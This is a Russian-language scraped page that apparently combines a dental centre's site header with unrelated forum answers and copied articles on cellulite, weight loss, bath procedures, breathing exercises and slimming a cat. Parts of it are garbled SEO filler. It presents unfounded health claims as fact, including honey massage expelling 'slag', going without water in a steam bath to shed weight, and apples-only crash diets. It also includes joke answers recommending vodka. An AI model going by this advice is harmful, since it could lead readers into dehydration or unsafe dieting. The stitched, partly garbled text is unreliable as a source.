Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Как избавиться от циллюлита? продолжение внутри ---

Ходи гуськом) рецепт дан физручкой на занятии по физкультуре

Бодифлекс это система дыхательных и физических упражнений, которая позволяет максимально насытить кровь кислородом, благодаря чему быстро сгорают жиры и тело приобретает нормальные объемы.

Больше двигаться, остальное по ссылке

Цилюлит от чего?? ? То что не упрогие ноги. Начни бегать вот и всего

Формула: спорт+диета+массаж=красивая фигура. Не знаю, как медовый, но массаж обычно делают со специальными кремами. Если делать что-то в отдельности - то результат, даже если и будет, то недолговечным. Делай вывод.

На самом деле от этого практически нет средств, дорогие кремы, и все проч. это фигня, все зависит от генетики, Ц-- как мафия не истребим.
к сожалению. не есть жирного, жареного и прочую вредную еду, от фаст-фуда тоже может усугубляться!! !
даже у спортсменов это есть, но пытаться нужно, не обязательно медовый массаж, антициллюлитный тоже подойдет, а вообще, не парься, это не главное, ну не разбивать же лоб в борьбе с ним.
пытайся, дерзай!

Давайте взглянем врагу в лицо. Целлюлит (сellulate (лат. ) – состоящий из клеток, сотообразный, ячеистый) – это изменение у женщины подкожного жирового слоя, при котором нарушается крово- и лимфоснабжение жировых клеток. До сих пор в научных кругах идут споры о причинах возникновения целлюлита, но уже с уверенностью можно сказать, что прямыми или косвенными причинами заболевания являются:
гормональный дисбаланс (а именно сбои в работе яичников, заболевания щитовидной железы и другие эндокринные нарушения) ,
наследственно-конституционные факторы (особенности телосложения, строения кожи и обмена веществ) ,
нарушение белкового обмена,
внешние факторы (хроническая усталость, стрессы, нарушение режима питания) ,
экологический фактор (использование продуктов, содержащих гормональные добавки, красители, заменители, а также общее экологическое ухудшение обстановки) ,
курение.
Под воздействием этих факторов происходят микронарушения кровообращения в подкожножировой клетчатке, в следствии чего к клеткам перестает поступать кислород, и клетка жировой ткани отмирает. Так как жировая ткань находится в ячейках, образуются плотные комочки жира, которые и создают эффект «апельсиновой корки» .
Существуют статистические данные, что у десятой части всех женщин целлюлит развивается в период полового созревания. Пятая часть женщин обнаруживает у себя целлюлит во время и после беременности, и четверть женщин – с приходом менопаузы.
Таким образом, наиболее вероятно, что целлюлит появится в периоды гормональных всплесков в женском организме.
Мы привыкли считать «апельсиновую корку» эстетическим деффектом кожи, однако, как мы смогли убедиться, это все же заболевание, требующее комплексного подхода в лечении. Ведь целлюлит – это всего лишь проявление заболевания, а корень проблемы кроется глубже.
Итак, враг нам известен, значит теперь можно подобрать оружие в борьбе за стройную фигуру и подтянутые ягодицы.
Косметология в лечении целлюлита
В современных косметологических клиниках вам могут предложить целые программы лечения целлюлита. Например, электролиполиз. Этот аппаратный метод заключается в том, что разрушение подкожного жира происходит за счет низкочастотного тока, передаваемого через введенные под кожу электроды.
Другой пример лечения целлюлита – аппаратный лимфодренаж. На пораженные целлюлитом области крепятся электроды, стимулирующие сокращение мышц, тем самым ускоряя процесс вывода токсинов и продуктов расщепления жировой клетчатки.
Кроме разнообразных аппаратных методик с пугающими названиями (и по ценовому фактору, и по методам воздействия) в арсенале косметологов есть также куда более приятные процедуры для лечения целлюлита. Например, массажи. Только не стоит ожидать от антицеллюлитного массажа минут блаженства и наслаждения, все-таки целью массажа является размягчение скопившегося под кожей жира. Во время антицеллюлитного массажа используются различные приемы. Те участки, где образовался целлюлит, кожу усиленно разминают круговыми движениями, постукивают рубящими движениями, поглаживают и растирают. С помощью массажа можно добиться довольно неплохих результатов в лечении целлюлита, массаж регулирует кровообращение, способствует выведению шлаков из организма, сжигает жир и, тем самым, уменьшает объемы талии и бедер.
С приходом таласотерапии и открытием SPA-центров в России появились и новые методики избавления от «апельсиновой корки» . Красивые и интригующие названия в «меню» центров прячут за собой следующие процедуры: антицеллюлитный баночный и антицеллюлитный медовый общеоздоровляющий массажи. Медовый массаж кроме основной своей смысловой нагрузки также очищает кожу, делая ее мягкой и шелковистой.
К сожалению, походы в косметологические центры и клиники – удовольствие не из дешевых. Поэтому МирСоветов готов поделиться с вами, как самостоятельно справиться с целлюлитом.
Как избавиться от целлюлита в домашних условиях
Итак, самое главное в лечении – исключить как можно больше факторов, влияющих на возникновение

Дыхательная гимнастика для похудения - упражнение ПОЛНОЕ ДЫХАНИЕ это самое распростран нное управляемое дыхание, которое выполняется утром и днем в обычном темпе.

Бег!!!! и только бег и приседания.

Предотвратить начальную стадию целлюлита помогает ежедневное купание в морской воде, езжайте на море!

Есть гимнастика по пилатесу попробуй: упражнения скапирую, а вот ссылку может заблокировать модератор, но там есть рисунки, ну и торренте,ру есть видео зайди посмотри, но наверно нужно зарегиться
Гудбай, целлюлит! 15 упражнений от инструктора по пилатесу
От целлюлита, как известно, можно избавиться с помощью «тяжелой артиллерии»: правильного питания, косметических процедур и физических нагрузок. Научиться правильно дышать, подтянуть мышцы ног и живота, уменьшить объемы бедер и ягодиц и, наконец, одержать победу над ненавистной «апельсиновой коркой» поможет комплекс упражнений, разработанных инструктором по пилатесу Риной НАФТАЛИЕВОЙ.
Этот комплекс упражнений дает нагрузку на все необходимые мышцы.
Во время их выполнения, советует инструктор, нужно держать осанку и подтягивать мышцы живота — таким образом укрепляется мышечный корсет.
При этом следите за дыханием — дышать нужно легкими, а не животом.
Каждое упражнение нужно выполнять 8-12 раз. Выполнять их можно каждый день, если нет такой возможности — будет достаточно и 2 раз в неделю. А первые изменения вы заметите уже через 15-20 занятий.
Упражнение 1
Ноги на ширине плеч, стопы параллельно друг другу. Живот втянут.
Вдыхаем, поднимаем руки и приседаем.
На выдохе – поднимаемся. Следим за тем, чтобы колени были параллельны друг другу.
Упражнение 2
Ноги на ширине плеч, широкая стойка. Носки развернуты, таз — вперед.
На вдохе приседаем, на выдохе — подымаемся.
Упражнение 3
Приседаем и, оставаясь в таком положении, каждую ногу поочередно поднимаем на носок.
Упражнение 4
Лежим на боку. Мышцы живота и талия подтянуты — талия не должна лежать на мате.
На вдохе поднимаем ногу вверх, на выдохе — тянем пятку вниз. Ногу не опускаем до конца и не касаемся ею другой стопы.
Это же упражнение повторяем с другой ногой.
Упражнение 5
Становимся на колени и на локти. Вытягиваем одну ногу и пяткой тянемся вверх.
На выдохе — пятка вверх, на вдохе — вниз.
В конце упражнения можно оставить ногу верхней точке и сделать 8-12 пружинистых рывков вверх.
Повторяем упражнение с другой ногой.
Упражнение 6
Стоим на четвереньках, нога согнута в колене.
На выдохе пяткой тянемся вверх, на вдохе — вниз.
В конце упражнения делаем 8-12 пружинящих рывков.
Упражнение повторяем с другой ногой.
Упражнение 7
Лежим на полу, руки вдоль тела, ноги лежат на стуле.
На выдохе поднимаем таз, на вдохе — таз наверху, на выдохе — опускаем.
Поднимать таз следует от копчика, а опускать медленно — позвонок за позвонком, начиная от лопаток.
Здесь важно следить за плечами и за шеей — они должны быть максимально расслаблены.
Упражнение 8
Исходное положение – как в предыдущем упражнении.
Поднимаем таз на выдохе и, оставаясь в верхней точке, поочередно поднимаем ноги.
Мышцы живота при этом должны быть хорошо подтянуты: стараемся втянуть его под ребра, чтобы получился своеобразный ковшик.
Упражнение 9
Лежим на боку. Ноги согнуты на 90˚.
На выдохе поднимаем колено, на вдохе — опускаем.
Такое же упражнение делаем лежа на другом боку.
Упражнение 10
Лежим на боку. Стопы отводим параллельно ягодицам.
Одно колено поднимаем на выдохе, на вдохе — опускаем.
В этом и предыдущем упражнениях следует давать акцент на ягодицы и бедро, особенно на «ушки». Поэтому нужно сконцентрироваться и хорошо напрячь ногу.
Упражнение повторяем с другой ногой.
Упражнение 11
Лежа на спине, ноги согнуты в коленях, стопы — на ширине бедер параллельно друг другу.
На выдохе, начиная от копчика, медленно позвонок за позвонком поднимаем таз. Ягодицы и бедра при этом должны быть хорошо подтянуты, особенно в верхней точке.
В верхней точке делаем вдох и сжимаем ягодицы. На выдохе таз опускаем — так же, как и поднимали, медленно, позвонок за позвонком.
Упражнение 12
Стоим. Опорная нога согнута в колене.
На колено кладем стопу другой ноги, руки вытягиваем вперед. Таз отводим назад и растягиваем бедро.
Это же упражнение выполняем с другой ногой.
http://www.liveinternet.ru/community/3187364/post107531565/

Именно медовый массаж: мед на пробный участок и хлопать по нему ладошками пока они с трудом не будут отрываться. Потом антицеллюлитный крем с охлаждающим эффектом,
Удачи!

Медовый антицеллюлитный массаж
Сила воздействия медового массажа зиждется на сочетании полезных свойств меда – этого кладезя биологически активных веществ – с эффектом от применения традиционных массажных приемов. Кстати, после проведения курса медового массажа не только разглаживается целлюлит, но и улучшается общее состояние кожи: она становится нежной и шелковистой, точно у ребенка.
Чтобы результат медового массажа стал заметным, его необходимо делать в течение 15 дней. Причем, заметьте для себя, что процедура эта не ежедневная, а с перерывами между сеансами в один день.
Для проведения медового массажа вам понадобится любой натуральный мед – липовый, цветочный, гречишный. Проследите только, чтобы был именно натуральным без каких-либо посторонних компонент. Кроме того, не подойдет для массажа и долго стоявший, успевший засахариться мед.
Чтобы промассировать бедра и ягодицы, хватит 2 чайных ложек меда. Если захотите превратить антицеллюлитный массаж в более приятную процедуру можете составить смесь из меда любого на ваш вкус эфирного масла (лимонного, эвкалиптового, грейпфрутового или любого другого) . Эфирное масло добавляется в пропорции 5 капель масла на 1 чайную ложку меда. Истинные ценители медового массажа составляют сложные смеси из меда и нескольких ароматических масел. Например, в смесь на основе 2 чайных ложек меда добавляют по 3 капли лимонного и можжевелового и по 2 капли апельсинового и лавандового масел. Впрочем, можно составлять любые другие смеси, главное, следовать правилу: смешивать сначала масла, а затем в полученную смесь добавлять мед. Чтобы добиться максимального эффекта, тут же используйте приготовленную смесь, не оставляйте ее киснуть в холодильнике до утра.
Техника антицеллюлитного медового массажа проста. Нанесите мед на ладони и начинайте похлопывать себя по пораженным целлюлитом местам. В результате часть меда перенесется на тело, а другая – останется на руках. Спустя несколько минут мед впитается в кожу, и ладони станут к ней прилипать. Продолжайте выполнять похлопывающие движения, постепенно увеличивая их силу, но не лупите себя что есть мочи, а на пару секунд крепко прижимайте ладони к коже и затем резко их отрывайте. С непривычки такая процедура кажется форменной пыткой, но красота требует жертв. Впрочем, через несколько сеансов кожа привыкнет, и боль станет менее ощутимой.
Минут через пять вы заметите, как из пор кожи на массируемом участке начнет выделяться жирная белая масса, которую в народе именуют шлаками. Когда большая часть этой массы перейдет на ладони, вымойте руки с мылом и продолжайте похлопывания-прижимания до тех пор, пока она не перестанет выделяться.
После того как вы закончите с массажем, примите теплый душ: смоете с себя весь мед и заодно дополнительно тонизируете кожу. Не пугайтесь, заметив синяки – они исчезнут. Обязательно смажьте кожу увлажняющим лосьоном или кремом. Все! Нежная, мягкая, бархатная кожа, непередаваемое ощущение чистоты и легкости во всем теле сполна вознаградят вас за перенесенные мучения.
Против использования техники антицеллюлитного медового массажа можно сказать только одно: и мед, и эфирные масла являются сильными аллергенами. Поэтому, прежде чем смазывать медом все пораженные целлюлитом места, проверьте реакцию на небольшом участке кожи – для этих целей идеально подходит запястье. Заметили покраснение, раздражение, зуд – что ж, тогда для борьбы с целлюлитом вам лучше выбирать другие методы.
Главное в своем стремлении избавиться от целлюлита – не переусердствовать. Ни одно антицеллюлитное средство не может расправиться с «апельсиновой коркой» за один подход. Тем более, что резкое изменения состояния организма никому не пойдет на пользу.
Антицеллюлитный массаж является как раз таким не просто приятным методом, а и постепенно ваш организм. Кроме того, все эти процедуры можно проводить домашних условиях не только против целлюлита, но и просто для улучшения состояния вашей кожи.
Вам стоит только попробовать и вы сами поймете насколько все п

Дыхательное упражнение для похудения живота 1. Включите приятную, медленную музыку, займите положение на полу лежа на спине и полностью расслабьтесь.Данное упражнение выполняем не менее 10 раз, при этом контролируем свое дыхание.

Кофейный скраб.
Оказывает позитивное воздействие сразу по нескольким фронтам:
- способствует сжиганию жира (кофеин входит в состав почти всех средств для похудения) ,
- оказывает разглаживающее и выравнивающее действие на поверхности (т. е. помогает избавиться от целлюлита и способствует уменьшению растяжек)
- отшелушивает верхний слой кожи, т. е. делает ее более мягкой и шелковистой
Покупаем или делаем молотый кофе достаточно крупного помола (приблизительно как крупный сахарный песок) . Кофе надо брать НЕ РАСТВОРИМЫЙ!! ! Не варим его!!!! Намыливаем проблемные зоны своим обычным гелем для душа, а затем, насыпав на руку немного кофе (чем больше кофе, тем интенсивнее воздействие, сразу слишком усердствовать не нужно) , и поверх намыленного втираем кофе в кожу теми же движения, что используется для массажа. Грудь лучше не скрабить. Держать кофе на теле не надо. Время процедуры - опять таки - на ваше усмотрение, в среднем 10 минут. Не нужно в первый день начинать с 20 минут, чтобы на следующий день проклинать эту процедуру: ) Без фанатизма!!!: )
Данная процедура – это вариант массажа с отягощением, ничего плохого с вашей кожей не случится!

Какие процедуры полезно делать в бане?

Групповой секс считаю самым полезным

Дыхательная гимнастика для похудения живота - это то, что вам нужно, если вы хотите посидеть в тишине, помедитировать и при этом еще помочь своему организму.

Париться с веником всегда полезно.

Пить водку очень полезно...

После бани, когда кожа распарена, а поры открыты, полезно делать пилинг. А, непосредственно в бане, опять же, на мой вкус, делаю антицеллюлитные маски. На баночке так и написано, для бани ))

Что полезно в бане? Для желающих потерять вес:
-предпочитайте русскую баню, а не сауну. Именно повышенная влажность больше повышает температуру тела, стимулирует и ускоряет обмен веществ.
-в парной желательно не просто сидеть, а париться с веником или делать массаж, потому что жировая прослойка затрудняет процесс потоотделения.
-полезно перед парной натереться смесью соли меда. Соль лучше брать морскую, без добавок и красителей. При этом процесс потоотделения пойдет быстрее. После парной не спешите смывать смесь с тела, иначе процесс закончится. Можно облиться горячей соленой водой, укутаться в простыню и отдыхать минут 20-30 в предбаннике. Пить при этом не рекомендуется, хотя очень хочется. Пожуйте дольку лимона. Теперь под душ и опять в парную. Пить теперь можно, но по ½ стакана воды или чая.
-в парной желательно бывать почаще, но не более 10 мин. Пить много не рекомендуется, лучше, вообще, не пить – для получения эффекта похудения это важно. Через 1,5-2 часа уж можно войти в свой обычный питьевой режим.
5. Баня отлично воздействует на органы дыхания. Дыхание тренируется, становится чаще и более глубоким. Легкие при этом получают больше кислорода, улучшается вентиляция, уничтожаются микробы – в этом помогает банный жар.
Что еще полезно в бане?
Для суставов, при радикулите. Благотоворно влияет на пищеварение, улучшается водно-солевой обмен и т. д.
Очень полезны будут любые банные процедуры после праздников. Организм нуждается в выводе токсичных веществ, шлаков. Даже если вы не любитель бани, после обильных застолий сходите в баню непременно, помогите уставшему организму.

Веничком. Очень хорошо!

Дыхательные упражнения для похудения. Нарушение обмена веществ является одной из основных причин избыточного веса. Зачастую полные люди стараются нормализовать вес с помощью правильного питания...

Маску для волос долго держать, скраб для тела, или кофейным жмыхом шкрябать, медом с солью, пятки скоблить

Похудеть на 15 кг за 2 месяца...

Спорт, спорт и еще раз спорт

Видео, отзывы и фото дыхательной гимнастики для похудения, в чем польза дыхательной гимнастики, противопоказания к дыхательной гимнастике, виды дыхательной.

5 км пробежка 2 раза в день, даже можно в еде себе не отказывать

Причина избыточного веса – избыточное накопление жира в организме и отложение его в подкожной клетчатке и других тканях и органах. В основе этого лежит нарушение обмена веществ, когда процессы образования жира преобладают над процессами его распада. Очень часто избыточный вес вызывают заболевания эндокринной системы, прием гормональных препаратов, беременность.
Нетрадиционные и народные методы лечения:
1)Пить морковный сок по 1 столовой ложке 3 раза в день до еды.
2)Пить свежий картофельный сок в смеси с морковным и капустным соками.
3)Пить по 0,5-1 стакану свежего сока тыквы несколько раз в день.
4)Взять 50гр. ягод можжевельника и 1 головку очищенного и измельченного чеснока, залить 1л. белого виноградного вина, настоять в темном прохладном месте 5 дней, периодически встряхивая содержимое, процедить. Пить по 3 столовых ложки 1-2 раза в день сразу после еды.
5)Взять в равных частях цветки бузины, траву фенхеля, цветки ромашки, цветки липы и лист мяты перечной ( все продается в аптеке) . Залить смесь кипятком в соотношении 1:20, варить 15 минут на водяной бане под крышкой, настоять 45 минут при комнатной температуре и процедить. Принимать по 1 стакану 1-2 раза в день.
6)Смешать 1 головку чеснока, сок 1 лимона и 100гр. меда. Настоять в закрытой посуде в темном месте 2 дня, периодически встряхивая. Принимать 1 раз в день по 2 столовых ложки. Дни не пропускать.
7)1 столовую ложку меда растворить в 0,5 стакана кипяченой воды, охлажденной до комнатной температуры, и выпить утром натощак. После этого 2 часа ничего не есть. Вечером за 2 часа до сна снова выпить натощак раствор меда.
8)Сухие цветки липы измельчить в кофемолке в порошок. Принимать по 1 чайной ложке порошка 3 раза в день. В месяц наблюдается снижение веса на 5-6кг.
9)Взять 3 горсти овсяных хлопьев. 0,5л. воды и 50гр. ржаного хлеба. Хлопья с вечера залить холодной кипяченой водой. Положить корочку или ломтик хлеба. Накрыть посуду крышкой и оставить на 12 часов в теплом месте. Утром настой процедить и довести до кипения. Постоянно перемешивая. Принимать по 1 стакану за 10 минут до еды без сахара.
Восточная диета для похудения.
Диета рассчитана на 10 дней. При строгом соблюдении диеты человек теряет за этот период 5-6кг. веса.
8.00. – чашка чая с кусочком сахара.
11.00. – яйцо сваренное вкрутую, и 8 ягод чернослива.
14.00. – 200гр. отварного костного мяса (можно иногда заменить молочными сосисками) и 100гр. гарнира из капусты или моркови, яблоко или апельсин.
17.00. – 30гр. сыра, яблоко или апельсин.
20.00. – стакан кефира или простокваши.
На этой диете у меня за месяц ушло 13 килограмм.
Общие рекомендации:
1)Избегать употребления в пищу картофеля с жирами и мясом.
2)Стараться есть картофель с кожурой: пареный, тушеный, в похлебках, особенно хорошо печеный в духовке или на углях.
3)Свежий хлеб заменить сухарями из черного хлеба, содержащего отруби (можно бородинский) .

Если бегать нельзя, тогда как можно больше ходите! это тоже хорошо помогает.
спорт - это жизнь!

Питаться часто (каждые 3- 4 часа) и маленькими порциями, тогда организм не будет откладывать жиры в прок. конечно же физ. нагрузки, но, если нельзя, то стоит попробовать дыхательную гимнастику

10 дней есть только яблоки, похудеете на 8 кг. 100 % проверено. Трудно только первые три дня.

Дыхательная гимнастика для похудения. Похудение 03 декабря 2012. Просмотров 8051.Она не займет много времени. Помимо эффекта похудения, дыхательная гимнастика полезна во многом другом.

Без физ. нагрузки не получиться. займитесь ходьбой тогда. может и повезет, сбросите вес. но это издевательство над организмом.

Шоколад убрать вообще, ну пока не достигнешь нужного результата. Помидоры - тоже, возможно у вас проблемы с почками. Добавить воды, чистой, без газа и мяса- не жирную говядину, а лучше кур. грудки. И не переживай, вес пойдет дальше быстрее, организм пока привыкает.

Лень даже отвечать.. . А почему не за месяц или не за 15 дней уж сразу же?

Как заставить сесть на диету кошку?

А может это она беременна?

Дыхательные гимнастики для похудения. Меня 4321 для похудения очень легко- раскрутка организма на очищение произошла очень быстро антикоагулянтовДемократичными в этом отношении являютсядыхательные Обратная связь диета гавайская смесь.

Смотрите гормоны

Ненадо никого сажать на диету, 7 кг это нормально, у меня кошка тоже весит 6 кг и вполне себе отличьненькая и справная, и кстати голодать кошачьим нельзя

Прочитай лекцию на тему Чудо-голодание

Наверняка может прибавления в семье ждете?!

Перейдите на корма, которые не содержат кукурузы. я перевела котов на такие корма, и они мягко сбавили лишнее.

Дыхательная гимнастика для похудения Цзяньфэй. В первой части поста даю только описания трех способов дыхания этой китайской гимнастики. Рассмотрим упражнения Волна , Лягушка , Лотос моя любимая йога для уменьшения живота .

Живя в городе, наши кошки мало двигаются и в результате толстеют. Лишний вес, в свою очередь, ведет к малоподвижности и возникновению проблем с мышцами, суставами, органами дыхания, сосудами а также к гепатопатин.. . Перечень физиологических нарушений можно продолжить. Тучность появляется также в результате перекорма калорийной пищей в течение довольно долгого времени. Иногда лишний вес возникает в результате различных патологий, но чаще он появляется из-за несбалансированного питания.
Толстый кот, фото кошки, кормление кошек фотография
Кошка, ведущая сидяче-лежачую жизнь, нуждается в меньшем количестве калорий, но обязательно в достаточном количестве белков и минеральных веществ. Только низкокалорийный режим питания вернет кошке ее нормальный вес.
Режим похудения для кошки. Речь идет не о сокращении количества пищи это может привести к постоянному чувству голода и воровству, - а о замене жиров и углеводов неперевариваемой кошкой клетчаткой, содержащейся в зеленых овощах, Однако при этом надо позаботиться о достаточном количестве белков и минеральных солей, во избежание пищевой недостаточности, Можно посоветовать составить рацион из равных частей свежего мяса и зеленых овощей с небольшой добавкой специальной кошачьей минеральной витаминизированной приправы с низким содержанием магния. Эта смесь распределяется в пропорции 50 г на 1 кг веса кошки в день, то есть кот, весящий 5 кг, должен получать 20 г этого корма ежедневно, причем имеется в виду вес кота, который хотят получить, а не сегодняшний избыточный вес. Эту дневную норму разделите на 2-3 части, в зависимости от частоты кормления,
Готовые корма для похудения кошек. Если вам недосуг составлять специальное меню для вашего растолстевшего кота, не опускайте руки. Сегодня существуют специальные диетические корма, обеспечивающие полноценное питание пониженной калорийности: низкокалорийные, с малым содержанием жиров, богатые клетчаткой и витаминами.
Съедая тот же объем пищи, кошка поглощает меньше калорий и постепенно возвращается к своему нормальному весу.
Выпускаются корма, которые, будучи вполне полноценными, содержат, однако, легкие питательные вещества, которые предотвращают появление лишнего веса у особ, к этому предрасположенных, или помогают сбросить несколько десятков грамм тем, кто только слегка растолстел. Но можно найти и такие корма, которые, благодаря своей очень низкой калорийности, помогут избавиться от настоящей тучности. Они продаются в сухом и в консервированном виде. Единственная трудность при этом - найти такой корм, который пришелся бы по вкусу кошке. Облегченная диета еще не значит - невкусная диета.

Убрать животик

Не ешь мучное и сладкое во время месячных. Каждый месяц будешь терять по 1кг. Он потом не набирается.

В индивидуальных дыхательных тренажерах второго класса используются только ВЫДЫХАЕМАЯ газовая смесь и атмосферный воздух. Они перемешиваются в резервуаре при ВЫДОХЕ за счет вытеснения выдыхаемой газовой смесью газовой смеси...

Нужно качать пресс обязательно! С живота легче всего согнать жир качая пресс! Результат буквально виден на следующий день. Обещаю!

"Нужно качать пресс обязательно! С живота легче всего согнать жир качая пресс! Результат буквально виден на следующий день. Обещаю! " - что за ерунда.. . Вы думаете жир сгорает там где нагрузка идет? ? :)))) Он равномерно сгорает по всему телу, при любых нагрузках. СНижайте в 2 раза количество углеводов в рационе. Бегайте 4 км, все просто, если жирок не уходит, значит организму хватает того, что вы кушаете. Значит надо поменьше кушать и чуток увеличить расход калорий. Ну и пресс конечно качать надо, если под жирком будет " мышечный каркас" то и живот будет смотреться гораздо лучше. Походите в сауну, попотейте там, попарьтесь, 1-2 чашечки чая без сахара перед сауной и вперед, парьтесь сидите до упаду, борцы и штангисты частенько прибегают к помощи бань и саун, когда надо согнать 2-4 кг, для того чтобы в свою категорию весовую попасть перед соревноманиями.

Посторайся бегать хотяб пару раз в неделю, и поменьше питатся!

**************************ХУДЕТЬ БЕЗ ДИЕТЫ
Полный завтрак, обед, ужин+два перекуса фруктами+за два часа до еды стакан кефира. Желательно, чтобы съеденная пища за один прием не превышала 400мл (уменьшаем желудок) Трудно первые 1.5-2 недели, потом даже после дополнительно съеденного яблока тяжелее на желудке. А через 30-40дней вообще проблем нет.
Есть не быстро, мозг включает прием пищи через 30мин после попадания первого кусочка пищи в рот. Вот, поэтому и говорят, что прием пищи должен быть не менее 30мин. Жевать долго каждый кусочек, во первых смачивается слюной, во вторых в желудок попадает пища уже более размолотая.
Исключить копчености, белый хлеб, не есть в один прием мясо-рыбу с картофелем, макаронами, рисом, гречей.
Отдать предпочтение оливковому маслу. Блюда не жарить, а варить, запекать в фольге, тушить.
Заменить майонез на сметана 15%+горчица+сок лимона+соевый соус (все по личному вкусу)
Следить за жирами, не более 60г в сутки
Выпивать не менее 2х л чистой воды
Не менее 500мл свежего кефира 1.5-2.5%
При покупке сыра, отдать предпочтение сырам с Ж 17%(Адыгейский, плавленный)
Творог замечателен утром с бананом, ягодами+йогурт (100\50\100)
Супы на втором бульоне на курице (50-60ккал в 100г)
Макароны, рис, греча-есть с овощами тушеными в виде соусов
Капуста тушеная очень спасает, ее можно хоть с карт. пюре, рисом или с мясом, рыбой. Замечательный овощ.
Съедать в день 600-800г свежих овощей, фруктов
При покупке продуктов смотреть на калорийность, жиры (йогурт вроде безопасный, но сахара таааам... до дури)
Уменьшить кол-во сахара (желательно коричневый) до 2х ч. л. .
Уйти от растворимого кофе и выпить утром молотый 150мл
Если очень хочется сладкого, можно съесть 1-2 овсяного печенья (самое полезное из всех), курага, чернослив9по 5-6шт), зефир, мармелад (желательно на ПЕКТИНЕ, т. к есть еще агар, желатин)
Плюс обертывания (замечательно для занятых, уставших и ленивых)
Обязательное условие: не пить за 1 час до процедуры и после 1 час.
Смеси наносят на проблемные зоны и оборачивают пленкой. Сверху пленки одевают Надеваем ТЁПЛУЮ и обтягивающую одежду (легенцы, велосипедки, плотные колготки, обтягивающий свитер и т. п.) , и, по желанию - активно подвигайтесь, например, пробежка, тренажеры, поделайте упражнения, потанцуйте, займитесь домашними делами.
Лень, тогда просто лягте под теплое одеяло и лежите в течение 1 часа. После смыть под душем и нанести крем для тела. Количество обертываний и их результат зависят от возраста и исходного объема.
ОБЕРТЫВАНИЕ реально помогает, чередовала мед с голубой глиной, для эффекта принимала солевые ванны. После проведения курса из 15 процедур обертывания в течение нескольких недель, происходит устойчивое уменьшение объемов, повышение упругости и эластичности кожи, и выравнивание кожного рельефа. Эффект от обертывания можно почувствовать и увидеть сразу: кожа становится гладкой и упругой, некрасивый рельеф "апельсиновой корки" разглаживается.
---Разведите голубую глину в воде (я беру минералку) . Вода должна быть теплой. Развести глину можно также отваром ромашки, зверобоя или другой травы. Консистенция густой сметаны, чтобы масса не стекала с кожи. Нанести на тело+пленка На 60мин. Замечательно добавить эф. масло розмарина, можжевельника, цитруса 5 кап на пакетик.
Тот же эффект дает морская соль (у кого аллергия на мед)
---существуют солевые обертывания. При обертывании-на 1 литр воды составляет 3 ст. ложки, температура воды – около 50С. Простынь, полотенце нужно смочить в полученном растворе, отжать и обернуться (или проблемные места) . Сверху накрыть полиэтиленовой плёнкой и под одеяло. Через 25–30 минут снять повязку и принять душ (без мыла) , затем отдохнуть в тепле.

Вот комплекс упражнений, который поможет укрепить ваш брюшной пресс:
1.Лежа на спине, руки вытянуты вдоль тела, ладони касаются пола. Поднимите выпрямленные в коленях ноги на высоту около 30 см, 2 раза слегка стукните одной ступней о другую. Потом медленно опустите ноги. Дыхание равномерное. Повторите упражнение 6-8 раз.
2.Лежа на спине, руки вытянуты вдоль тела. Поднимите выпрямленные ноги удерживая ступнями небольшую гантель до прямого угла. Если вам трудно держать ноги выпрямленными, можете чуточку согнуть их в коленях. При подъеме - выдох, при опускании - вдох. Повторите упражнение 6-8 раз.
3.Лежа на спине, руки за головой или на груди. Подбородок опущен на грудь. На выдохе сядьте, попытайтесь дотянуться грудью до коленей. Поднимая корпус, старайтесь немного поворачивать тело попеременно налево или направо. На вдохе лягте на пол, голову не опускайте. Повторите упражнение 5-6 раз.
4.Лежа на правом боку, прямую или согнутую в локте правую руку положите под голову, левую - на талию. Поднимите левую ногу вверх не сгибая в колене и опустите. Упражнение повторите 6-8 раз. Потом перевернитесь на другой бок и проделайте это упражнение другой ногой. Выдох делайте, когда поднимаете ногу.
5.Стоя на коленях, немного расставьте ноги, пальцы ступней касаются друг друга, ладони положите на бедра. Теперь прогнитесь назад. При этом очень интенсивно работают коленные суставы. Спину выпрямите, подбородок поднимите. Упражнение повторить 6-8 раз. Когда прогибаетесь, делайте вдох.
6.Велосипед. Лежа на спине, руки вытянуты вдоль тела, ладонями обопритесь о пол. Поднимите ноги вверх и делайте движения, как при езде на велосипеде: ступни описывают небольшие круги (старательно выпрямляйте при этом ноги) . Повторить упражнение 8 раз.
7.Лежа на спине, выпрямите плечи, руки немного отведите от туловища, ладонями обопритесь о пол. А теперь ногами делайте движения, как будто вы плывете брассом: ноги подтягивайте к животу, колени раздвинуты, пятки вместе (движения медленные) . Потом резко опустите ноги вниз на пол и быстро соедините их вместе. Упражнение повторите 6-10 раз.
Чтобы добиться желаемого эффекта, конечно, нужно потрудиться, но игра стоит свеч. А если уж совсем некогда заниматься собой - то заведите себе простую привычку - втягивайте живот при ходьбе. Хотя это быстро надоедает. Да и массажи помогут и душ Шарко (он в любом санатории имеется) . Антицеллюлитный массаж мёдом (обязательно курс 10-20 сеансов через 1-2 дня) . Эффект не сравним с кремами и другой косметикой! Плюс массаж вакуумными баночками.
Побольше двигаться и все придёт в норму.

Суть бодифлекса и упражнения дыхательной гимнастики для похудения. Каждая женщина всегда старается выглядеть ещ более привлекательной. Для многих желание похудеть является одним из самых заветных.

Крути обруч

  • Спортивная одежда для похудения - Кто знает магазин спорттоваров (там должны быть велики ролик и всё такое) с доставкой в любые регионы Казахстана!? Подск
  • Имбирь лимон мед и для похудения - Для похудения заваривать имбирь с лимоном натощак. А если туда ещё кофе и клубничного сиропчика? Эффект останется? А что
  • Можно ли похудеть с яблочным уксусом - Употребление яблочного уксуса при желании похудеть,вредно ли это или нет? Нет, да еще и для суставов полезно. Отзывы вра
  • Бани полезны похудение - Полезна ли сауна в процессе похудения? и чем? Полезна. Расстапливает лишний жир и выводит шлаки и токсины с потом, что в
  • Бандаж для похудения sunex - Кто-нибуть пользовался поясом для похудения- SUNEX (САУНА,КОТОРАЯ ВЕЗДЕ С ВАМИ)? Как результаты? Не тратьте деньги - не
  • Банеры о похудении - Дом-2. в инете висят банеры рекламы-"Феофилактова за пару дней похудела на 20 кг"!!!и что?от нее ничего не осталось?? Ка
  • Меню для похудения полных людей - Я полный человек, хочу похудеть с помощью бега, говорят, что суставы угроблю...Это правда? Рост 175 см, вес 95 кг. Бег е
  • Диета для больной желчи - Что можно есть больному после операции -удаление желчного пузыря? Диета №5 23 человек сохранили. Диета при болезнях пече
